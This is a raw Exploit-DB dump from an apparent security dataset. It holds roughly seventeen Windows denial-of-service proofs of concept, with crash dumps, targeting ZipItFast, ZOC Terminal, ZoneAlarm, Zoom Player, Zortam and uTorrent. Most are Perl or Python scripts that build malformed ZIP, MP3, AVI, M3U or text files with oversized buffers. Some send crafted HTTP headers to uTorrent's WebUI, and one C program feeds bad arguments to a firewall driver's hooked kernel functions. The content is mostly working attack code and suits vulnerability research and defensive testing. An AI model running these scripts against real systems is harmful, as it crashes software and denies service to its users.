deardaniel/secdata-raw huggingface dataset:
Exploit-DB #17512
Description: ZipItFast 3.0 - '.zip' Heap Overflow
Type: dos
Platform: windows
Date: 2011-07-08
Author: C4SS!0 G0M3S

Exploit:
#!/usr/bin/perl
#
#[+]Exploit Title: ZipItFast v3.0 .ZIP File Heap Overflow Exploit
#[+]Date: 08\07\2011
#[+]Author: C4SS!0 G0M3S
#[+]Software Link: http://www.freewarefiles.com/ZipItFast---Zip-It-Free-V_program_22803.html
#[+]Version: v3.0
#[+]Tested On: WIN-XP SP3 Brazilian Portuguese
#[+]CVE: N/A
#
#

use strict;
use warnings;

my $filename = "Exploit.zip"; 

print "\n\n\t\tZipItFast v3.0 .ZIP File Heap Overflow Exploit\n";
print "\t\tCreated by C4SS!0 G0M3S\n";
print "\t\tE-mail Louredo_\@hotmail.com\n";
print "\t\tSite www.exploit-br.org/\n\n";
sleep(2);

my $head = "\x50\x4B\x03\x04\x14\x00\x00".
"\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00" .
"\x00\x00\x00\x00\x00\x00\x00\x00" .
"\xe4\x0f" .
"\x00\x00\x00";

my $head2 = "\x50\x4B\x01\x02\x14\x00\x14".
"\x00\x00\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00" .
"\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\xe4\x0f".
"\x00\x00\x00\x00\x00\x00\x01\x00".
"\x24\x00\x00\x00\x00\x00\x00\x00";

my $head3 = "\x50\x4B\x05\x06\x00\x00\x00".
"\x00\x01\x00\x01\x00".
"\x12\x10\x00\x00".
"\x02\x10\x00\x00".
"\x00\x00";


my $payload = "A" x 4064;

$payload = $payload.".txt";
my $zip = $head.$payload.$head2.$payload.$head3;
open(FILE,">$filename") || die "[-]Error:\n$!\n";
print FILE $zip;
close(FILE);
print "[+] ZIP File Created With Sucess:)\n";
sleep(1);
Exploit-DB #37068
Description: ZOC SSH Client - Buffer Overflow (SEH) (PoC)
Type: dos
Platform: windows
Date: 2015-05-20
Author: Dolev Farhi

Exploit:
"""
# Exploit title: ZOC SSH Client v.7.03.0 Buffer overflow vulnerability (SEH)
# Date: 20-5-2015
# Vendor homepage: www.emtec.com
# Software Link: http://www.emtec.com/cgi-local/download.cgi?what=ZOC7%20(Windows)&link=zoc/zoc7030.exe&ext=html
# Author: Dolev Farhi

# Details:
# --------
# Create a new connection, run the py script and copy the AAAA...string from zoc.txt to clipboard. paste it in the
# server address and attempt to connect.
"""

#!/usr/bin/python
filename="zoc.txt"
buffer = "\x41" * 97
textfile = open(filename , 'w')
textfile.write(buffer)
textfile.close()
Exploit-DB #46855
Description: ZOC Terminal 7.23.4 - 'Script' Denial of Service (PoC)
Type: dos
Platform: windows
Date: 2019-05-16
Author: Victor Mondragón

Exploit:
#Exploit Title:  ZOC Terminal v7.23.4  - 'Script' Denial of Service (PoC)
#Discovery by: Victor Mondragón
#Discovery Date: 2019-05-15
#Vendor Homepage: https://www.emtec.com
#Software Link: http://www.emtec.com/downloads/zoc/zoc7234_x64.exe
#Tested Version: 7.23.4
#Tested on: Windows 7 Service Pack 1 x64

#Steps to produce the crash:
#1.- Run python code: ZOC_Terminal_scr.py and it will create a new file "exp.zrx"
#2.- Open ZOC Terminal
#3.- Select Script > Start REXX Script... 
#4.- Select "exp.zrx" file and click "open"
#5.- Crashed

cod = "\x41" * 20000

f = open('exp.zrx', 'w')
f.write(cod)
f.close()
Exploit-DB #48302
Description: ZOC Terminal 7.25.5 - 'Script' Denial of Service (PoC)
Type: dos
Platform: windows
Date: 2020-04-07
Author: chuyreds

Exploit:
# Exploit Title: ZOC Terminal 7.25.5 - 'Script' Denial of Service (PoC)
# Discovery by: chuyreds
# Discovery Date: 2020-04-05
# Vendor Homepage: https://www.emtec.com
# Software Link : http://www.emtec.com/downloads/zoc/zoc7255_x64.exe
# Tested Version: 7.25.5
# Vulnerability Type: Local
# Tested on OS: Windows 10 Pro x64 es

# Steps to produce the crash:
# 1.- Run python code: ZOC_7.25.5_Script.py and it will create a new file "exp.zrx"
# 2.- Open ZOC Terminal
# 3.- Select Script > Start REXX Script... 
# 4.- Select "ZOC_7.25.5_Script.zrx" file and click "open"
# 5.- Crashed

cod = "\x41" * 20000

f = open('ZOC_7.25.5_Script.zrx', 'w')
f.write(cod)
f.close()
Exploit-DB #37612
Description: ZOC Terminal Emulator 7 - Quick Connection Crash (PoC)
Type: dos
Platform: windows
Date: 2015-07-14
Author: SATHISH ARTHAR

Exploit:
#!/usr/bin/python

#[+] Author: SATHISH ARTHAR
#[+] Exploit Title:  ZOC Terminal Emulator-v7 Memory Corruption PoC
#[+] Date: 14-07-2015
#[+] Category: DoS/PoC
#[+] Tested on: WinXp/Windows7/windows8 
#[+] Vendor: http://www.emtec.com
#[+] Download: http://www.emtec.com/downloads/zoc/zoc7051.exe
#[+] Sites: sathisharthars.wordpress.com
#[+] Twitter: @sathisharthars
#[+] Thanks:   offensive security (@offsectraining)

 

print"###########################################################"
print"#  Title: ZOC Terminal Emulator-v7  Memory Corruption PoC  #"
print"#  Author: SATHISH ARTHAR                                  #"
print"#  Category: DoS/PoC                                       # "
print"###########################################################"
print"Copy the content of CRASH.TXT in connect to option and set Connection type to Windows Modems"
print" Quick Connection ----> Connection type: Windows Modems ----> connect" 


crash= "A" * 200	
filename = "CRASH.TXT"
file = open(filename , "w")
file.write(crash)
print "\n Files Created!\n"
file.close()
Exploit-DB #46856
Description: ZOC Terminal v7.23.4 - 'Private key file' Denial of Service (PoC)
Type: dos
Platform: windows
Date: 2019-05-16
Author: Victor Mondragón

Exploit:
#Exploit Title:  ZOC Terminal v7.23.4  - 'Private key file' Denial of Service (PoC)
#Discovery by: Victor Mondragón
#Discovery Date: 2019-05-15
#Vendor Homepage: https://www.emtec.com
#Software Link: http://www.emtec.com/downloads/zoc/zoc7234_x64.exe
#Tested Version: 7.23.4
#Tested on: Windows 7 Service Pack 1 x64

#Steps to produce the crash:
#1.- Run python code: ZOC_Terminal_pkf.py
#2.- Open zoc_pkf.txt and copy content to clipboard
#3.- Open ZOC Terminal
#4.- Select File > Create SSH Key Files... 
#5.- Select "Private key file:" field erease and Paste ClipBoard 
#6.- Click on "Create public/private key files..."
#7.- Crashed

cod = "\x41" * 2000

f = open('zoc_pkf.txt', 'w')
f.write(cod)
f.close()
Exploit-DB #46857
Description: ZOC Terminal v7.23.4 - 'Shell' Denial of Service (PoC)
Type: dos
Platform: windows
Date: 2019-05-16
Author: Victor Mondragón

Exploit:
#Exploit Title:  ZOC Terminal v7.23.4  - 'Shell' Denial of Service (PoC)
#Discovery by: Victor Mondragón
#Discovery Date: 2019-05-15
#Vendor Homepage: https://www.emtec.com
#Software Link: http://www.emtec.com/downloads/zoc/zoc7234_x64.exe
#Tested Version: 7.23.4
#Tested on: Windows 7 Service Pack 1 x64

#Steps to produce the crash:
#1.- Run python code: ZOC_Terminal_sh.py
#2.- Open zoc_sh.txt and copy content to clipboard
#3.- Open ZOC Terminal
#4.- Select Options > Program Settings... > Special Files
#5.- Select "Shell" field erease the content and Paste ClipBoard 
#6.- Click on "Save"
#7.- Select View > "Command Shell" and select "ok"
#8.- Crashed

cod = "\x41" * 270

f = open('zoc_sh.txt', 'w')
f.write(cod)
f.close()
Exploit-DB #48292
Description: ZOC Terminal v7.25.5 - 'Private key file' Denial of Service (PoC)
Type: dos
Platform: windows
Date: 2020-04-06
Author: chuyreds

Exploit:
# Exploit Title: ZOC Terminal v7.25.5 - 'Private key file' Denial of Service (PoC)
# Discovery by: chuyreds
# Discovery Date: 2020-04-05
# Vendor Homepage: https://www.emtec.com
# Software Link : http://www.emtec.com/downloads/zoc/zoc7255_x64.exe
# Tested Version: 7.25.5
# Vulnerability Type: Local
# Tested on OS: Windows 10 Pro x64 es

# Steps to produce the crash:
#1.- Run python code: ZOC_7.25.5_PrivateKeyFile.py
#2.- Open ZOC_7.25.5_PrivateKeyFile.txt and copy content to clipboard
#3.- Open ZOC Terminal
#4.- Select File > Create SSH Key Files... 
#5.- Select "Private key file:" field erease and Paste ClipBoard 
#6.- Click on "Create public/private key files..."
#7.- Crashed

buffer = "\x41" * 2000
f = open ("ZOC_7.25.5_PrivateKeyFile.txt", "w")
f.write(buffer)
f.close()
Exploit-DB #29860
Description: ZoneAlarm 6.1.744.001/6.5.737.000 - Vsdatant.SYS Driver Local Denial of Service
Type: dos
Platform: windows
Date: 2007-04-15
Author: Matousec Transparent security

Exploit:
// source: https://www.securityfocus.com/bid/23494/info

ZoneAlarm is prone to a local denial-of-service vulnerability.

This issue occurs when attackers supply invalid argument values to the 'vsdatant.sys' driver.

A local attacker may exploit this issue to crash affected computers, denying service to legitimate users.

ZoneAlarm Pro 6.5.737.000 and 6.1.744.001 are prone to this issue; other versions may be affected as well. 

/*

 Testing program for Multiple insufficient argument validation of hooked SSDT function (BTP00001P000ZA)
 

 Usage:
 prog FUNCNAME
   FUNCNAME - name of function to be checked

 Description:
 This program calls given function with parameters that cause the crash of the system. This happens because of 
 insufficient check of function arguments in the driver of the firewall.

 Test:
 Running the testing program with a name of a vulnerable function.

*/

#undef __STRICT_ANSI__
#include <stdio.h>
#include <string.h>
#include <windows.h>
#include <ddk/ntapi.h>
#include <ddk/ntifs.h>

void about(void)
{
  printf("Testing program for Multiple insufficient argument validation of hooked SSDT function (BTP00001P000ZA)\n");
  printf("Windows Personal Firewall analysis project\n");
  printf("Copyright 2007 by Matousec - Transparent security\n");
  printf("http://www.matousec.com/""\n\n");
  return;
}

void usage(void)
{
  printf("Usage: test FUNCNAME\n"
         "  FUNCNAME - name of function to be checked\n");
  return;
}



int main(int argc,char **argv)
{
  about();

  if (argc!=2)
  {
    usage();
    return 1;
  }

  if (!stricmp(argv[1],"NtCreateKey") || !stricmp(argv[1],"ZwCreateKey"))
  {
    HANDLE handle;
    OBJECT_ATTRIBUTES oa;
    InitializeObjectAttributes(&oa,NULL,0,NULL,NULL);

    for (oa.ObjectName=(PVOID)0x80000000;;oa.ObjectName+=0x0300)
      ZwCreateKey(&handle,0,&oa,0,NULL,0,NULL);

  } else if (!stricmp(argv[1],"NtDeleteFile") || !stricmp(argv[1],"ZwDeleteFile"))
  {
    OBJECT_ATTRIBUTES oa;
    UNICODE_STRING us={0x6B3,0x12,(PVOID)0x10000};
    InitializeObjectAttributes(&oa,&us,0,NULL,NULL);
    ZwDeleteFile(&oa);
  } else printf("\nI do not know how to exploit the vulnerability using this function.\n");

  printf("\nTEST FAILED!\n");
  return 1;
}
Exploit-DB #32356
Description: ZoneAlarm Security Suite 7.0 - AntiVirus Directory Path Buffer Overflow (PoC)
Type: dos
Platform: windows
Date: 2008-09-11
Author: Juan Pablo Lopez Yacubian

Exploit:
source: https://www.securityfocus.com/bid/31124/info

ZoneAlarm Security Suite is prone to a buffer-overflow vulnerability because the application fails to perform adequate boundary checks on user-supplied input when performing virus scans on long directory paths.

Remote attackers may leverage this issue to execute arbitrary code with SYSTEM-level privileges and gain complete access to the vulnerable computer. Failed attacks will cause denial-of-service conditions.

This issue affects ZoneAlarm Security Suite 7.0.483.000; other versions may also be affected. 

To demonstrate this issue, construct multiple nested subdirectories, naming the root directory string1 below, and each nested directory string2:

string1:
ASCII: ? ? AAAAAAAAAAAAAAAAAAA ? ? AAAAAAAAAAAAAAAAAAA ? ? AAAAAAAAAAAAAAAAAAA ? ? ? AAAAAAAAAAAAAAAAAAA ? ? AAAAAAAAAAAAAAAAAAA ? ? AAAAAAAAAAAAAAAAAAA ? ? ? A ? ? AAAAAAAAAAAAAAAAAAA ? ? AAAAAAAAAAAAAAAAAAA

HEX : b7 20 85 20 20 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 20 b7 20 85 20 20 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 20 b7 20 85 20 20 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 20 b7 20 b7 20 85 20 20 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 20 b7 20 85 20 20 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 20 b7 20 85 20 20 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 20 b7 20 b7 20 85 20 20 41 20 b7 20 85 20 20 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 20 b7 20 85 20 20 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41

string2:
ASCII: ???????????AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA????AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

HEX: 85 85 85 85 85 85 85 85 85 85 85 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 85 85 85 85 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
Exploit-DB #37471
Description: Zoom Player - '.avi' Divide-by-Zero Denial of Service
Type: dos
Platform: windows
Date: 2012-07-02
Author: Dark-Puzzle

Exploit:
source: https://www.securityfocus.com/bid/54249/info

Zoom Player is prone to a remote denial-of-service vulnerability.

Successful exploits may allow attackers to crash the affected application, resulting in denial-of-service conditions.

Zoom Player 4.51 is vulnerable; other versions may also be affected. 

#------------------------------------------------------------------------#
#                                                                        #
#                     Usage : perl zoom.pl                               #
#                                                                        #
#------------------------------------------------------------------------#

my $h ="\x4D\x54\x68\x64\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00 
\x9b\x0e\xf3\xf8\xdb\xa7\x3b\x6f\xc8\x16\x08\x7f\x88\xa2\xf9\xcb
\x87\xab\x7f\x17\xa9\x9f\xa1\xb9\x98\x8e\x2b\x87\xcb\xf9\xbe\x50 
\x42\x99\x11\x26\x5c\xb6\x79\x44\xec\xe2\xee\x71\xd0\x5b\x50\x4e 
\x37\x34\x3d\x55\xc8\x2c\x4f\x28\x9a\xea\xd0\xc7\x6d\xca\x47\xa2 
\x07\xda\x51\xb7\x97\xe6\x1c\xd5\xd8\x32\xf9\xb1\x04\xa7\x08\xb2 
\xe9\xfb\xb5\x1a\xb7\xa7\x7a\xa6\xf9\xf6\xc9\x93\x91\xa1\x21\x29 
\xa3\x1c\xe3\xc7\xcb\x17\xfd\x8d\x65\xfd\x81\x61\x6b\x89\xaf\x53 
\x31\x45\x0c\x71\xcb\x93\xcb\x6e\x2a\xcf\xa6\x76\x1a\xa8\xcc\xad 
\x81\xfd\xc4\x56\xa7\x82\xda\x3d\x20\x80\xff\x4c\xbe\xc0\x4c\x61
\x9e\x75\x4c\x71\xa2\x9d\xfd\x65\xcc\x59\x23\xe0\xeb\xae\x58\xa3 
\xe9\xff\x16\xfc\x08\x03\x36\x4a\x69\xbb\xc4\x19\x10\x1b\xc8\x2c 
\x9e\xd9\x56\xfe\x38\x32\xf7\xe5\x2c\xd8\xb4\x6c\x31\xcc\x15\x5c 
\x41\xda\x03\xde\x5c\x23\x2d\xda\x4f\x7b\x44\x07\x60\x24\xa7\x58 
\x65\xf7\xe9\xaa\xff\x02\x9d\x1f\x39\x76\x7e\x75\x43\xac\xe5\xc9 
\xd0\x43\x2e\x4c\xeb\x81\x26\xb5\xcf\x6d\xb9\xe9\xa0\xc7\x85\x4a 
\xce\x5f\xb4\x34\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
\x00\x00\x00\x00\x00\x06\x00\x00\x00\x00\x00\x06\x00\x00\x00\xff
\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff
\xcb\x6e\x2a\xcf\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"; 

# A division by zero exploit causing a DoS to the program ( neither you can't play nothing nor close the program ) . 
#  to close the Zoom player you have to use the Windows Task Manager .


my $file = "darkexploit.avi";

open ($File, ">$file");
print $File $h;
close ($File);

#-------------------------------------------------------------------------------
Exploit-DB #39557
Description: Zortam Mp3 Media Studio 20.15 - Overflow (PoC) (SEH)
Type: dos
Platform: windows
Date: 2016-03-14
Author: INSECT.B

Exploit:
#-*- coding: utf-8 -*-

#

# Exploit Title : Zortam Mp3 Media Studio 20.15 - SEH overflow DOS

# Date: 2016-03-12

# Author: INSECT.B

#   Facebook : https://www.facebook.com/B.INSECT00

#   GitHub : binsect00

#   Blog : http://binsect00.tistory.com

# Vendor Homepage : http://www.zortam.com

# Software Link: http://www.zortam.com/download.html

# Version: 20.15

# Tested on: Windows7 Professional SP1 En x86 

# CVE : N/A

#

# Detail..

#  1. Zortam Mp3 Media Studio is program that change tags sound file

#  2. If tag length over certain length, program is occured crash.  

#  3. Make mp3 file. title tag length is 3000.

#  4. program open. and serching Directory





id3Id = '\x49\x44\x33' #ID3

id3Version = '\x03\x00'

id3Flag = '\x00'

id3Size = '\x00\x00\x2F\x2D'

id3 = id3Id + id3Version + id3Flag + id3Size



frameId = '\x54\x49\x54\x32' #TIT2

frameSize = '\x00\x00\x0B\xB9' #Frame Size

frameFlag = '\x00\x00'

textEncoding = '\x00'

textInfo = 'A'*3000

frame = frameId + frameSize + frameFlag + textEncoding + textInfo





padding = '\x00'*1100



payload = id3 + frame + padding

with open('Zortam Mp3 Media Studio 20.15 DOS Vulnerabilities.mp3','wb') as f:

	f.write(payload)



'''

STATUS_STACK_BUFFER_OVERRUN encountered

(aa4.c08): Break instruction exception - code 80000003 (first chance)

eax=00000000 ebx=743b74ec ecx=7619e28c edx=0012e4a9 esi=00000000 edi=756d6640

eip=7619e109 esp=0012e6f0 ebp=0012e76c iopl=0         nv up ei pl zr na pe nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200246

*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Windows\system32\kernel32.dll - 

kernel32!FormatMessageA+0x14031:

7619e109 cc              int     3

0:000> !exchain

0012e75c: kernel32!RegSaveKeyExA+3e9 (761ca022)

0012f2b8: 41414141

Invalid exception stack at 41414141

'''
Exploit-DB #44468
Description: Zortam MP3 Media Studio 23.45 - Local Buffer Overflow (SEH)
Type: dos
Platform: windows
Date: 2018-04-16
Author: Kevin McGuigan

Exploit:
#!/usr/bin/python
# Title: Zortam Mp3 Media Studio Local Buffer Overflow (SEH)
# Author: Kevin McGuigan
# Twitter: @_h3xagram
# Author Website: https://www.7elements.co.uk
# Vendor Website: http://www.zortam.com/
# Version: 23.45
# Tested on: Windows 7 32 bit
# Date: 12/04/2018
# Vendor did not respond to advisory


# File > Add Disk to Mp3 Library > paste string from zortamPOC.txt into directory field
filename="zortamPOC.txt"
junk = "A" * 268
nseh = "B" * 4
seh="C" * 4
fill = "D" *900
buffer = junk + nseh + seh + fill
textfile = open(filename , 'w')
textfile.write(buffer)
textfile.close()
Exploit-DB #9168
Description: Zortam MP3 Player 1.50 - '.m3u' Integer Division by Zero
Type: dos
Platform: windows
Date: 2009-07-16
Author: LiquidWorm

Exploit:
#!/usr/bin/perl
#
# Title: Zortam MP3 Player 1.50 (m3u) Integer Division by Zero Vulnerability
# Product Web Page: http://www.zortam.com
# Tested On: Microsoft Windows XP Professional SP3 (English)
#
#
###===---
#
# (1c0.7f8): Integer divide-by-zero - code c0000094 (first chance)
# First chance exceptions are reported before any exception handling.
# This exception may be expected and handled.
# eax=0000000d ebx=0019be80 ecx=00000000 edx=00000000 esi=0180f5dc edi=0000000a
# eip=0040f294 esp=0012f588 ebp=0180f570 iopl=0         nv up ei pl nz ac po nc
# cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00210212
# *** ERROR: Symbol file could not be found.  Defaulted to export symbols for zPlayer.exe - 
# zPlayer+0xf294:
# 0040f294 f7f9            idiv    eax,ecx
#
###===---
#
#
# Vulnerability Discovered By Gjoko 'LiquidWorm' Krstic
# liquidworm gmail com
# Zero Science Lab - http://www.zeroscience.org
# 16.07.2009
#

$fle = "Kung_PoW.m3u";
$mna = "A" x 800000;
print "\n\n[+] Creating playlist file: $fle ...\r\n";
sleep 1;
open(m3u, ">./$fle") || die "\n\aCannot open $fle: $!";
print m3u "$mna";
close (m3u);
print "\n[+] Playlist file successfully created!\r\n";

# milw0rm.com [2009-07-16]
Exploit-DB #5918
Description: μTorrent (uTorrent) / BitTorrent WebIU HTTP 1.7.7/6.0.1 - Range header Denial of Service
Type: dos
Platform: windows
Date: 2008-06-23
Author: Exodus

Exploit:
#!/usr/bin/perl
# uTorrent / BitTorrent  WebIU HTTP 1.7.7/6.0.1 Range header Denial of Service exploit
# according to the following advisory: http://secunia.com/advisories/30605
#
# usage: WebUI-dos.pl <url> <port> <user:pass>
# Exploit written by Exodus.
# http://www.blackhat.org.il

use IO::Socket;
use MIME::Base64;

if(@ARGV < 3)
{ &usage; }

($host,$ref) = split(/\//,$ARGV[0]);

$sock = IO::Socket::INET->new(PeerAddr => "$host:$ARGV[1]", Proto =>'TCP') || die("[X]Couldnt connect to host: $host:$ARGV[1]\n");
$buff = "E" x 60000;
$up = encode_base64($ARGV[2]);
chomp($up);

print $sock "GET /gui/common.js HTTP/1.1\r\n".
"Host: $host\r\n".
"Authorization: Basic $up\r\n".
"Range: bytes=$buff\r\n".
"Connection: close\r\n\r\n";

close($sock);

print "[!]Payload sent, WebUI should be down...\n";



sub usage
{
	print "usage $0 <url> <port> <user:pass>\n".
		  "ex: $0 127.0.0.1/gui/common.js 1337 admin:admin\n";
	exit;
}

# milw0rm.com [2008-06-23]
Exploit-DB #9539
Description: μTorrent (uTorrent) 1.8.3 Build 15772 - Create New Torrent Buffer Overflow (PoC)
Type: dos
Platform: windows
Date: 2009-08-28
Author: Dr_IDE

Exploit:
#!/usr/bin/env python

#####################################################################################################
#
# uTorrent <= 1.8.3 (Build 15772) Create New Torrent Buffer Overflow PoC
# By: Dr_IDE
# Note: This is old but I figured I would release it if someone wanted to play with it.
# Note: This was fixed as of version 1.8.3 (Build 16010)
# Download: http://www.filehippo.com/download_utorrent/download/9219a21fa300a93e885069c992a8a925/
# Usage: File -> Create New Torrent -> Paste string into "Source" field -> Click "Add File"
#
#####################################################################################################


buff = ("\x41" * 9000)

try:
	f1 = open("uTorrent.txt","w");
	f1.write(buff);
	f1.close();

	print "\nuTorrent <= 1.8.3 (Build 15772) Create New Torrent Buffer Overflow PoC"
	print "By: Dr_IDE"
	print "\nFile Created Successfully.\n"
	print "Usage: \n[-] Click File\n[-] Create New Torrent\n[-] Paste string into \"Source\" field\n[-] Click \"Add File\""

except:
	print "Error. File couldn't be created."

# milw0rm.com [2009-08-28]
Exploit-DB #12010
Description: μTorrent (uTorrent) WebUI 0.370 - Authorisation Header Denial of Service
Type: dos
Platform: windows
Date: 2010-04-02
Author: zombiefx darkernet

Exploit:
#!/usr/bin/perl
# Exploit Title: uTorrent WebUI <= v0.370 Authorization header DoS Exploit
# Date: 2010-04-01
# Author: zombiefx darkernet[at]gmail.com<http://gmail.com>
# Version: µTorrent 2.0 (build 18488) / WebUI <=v0.370
# Tested on: Windows XP SP3
#Code:
# lame usage: ./UTweb.pl <IP> <PORT>
# EAX 00000000 ECX 00000000 EDX 00000001 EBX 003D8360 ASCII "admin" ESP 0141FE94
# EBP 0141FF08 ESI 00000000 EDI 01511958 EIP 0041BC62 uTorrent.0041BC62
# Good luck! corelanc0d3r

use warnings;
use strict;
use IO::Socket;
my $nonbase64 = "\x41" x 1000; # That was pointless
my $sock = IO::Socket::INET->new(PeerAddr =>$ARGV[0],PeerPort =>$ARGV[1],Proto => 'tcp');
print $sock "GET / HTTP/1.1\r\n".
"Authorization: Basic $nonbase64\r\n\r\n";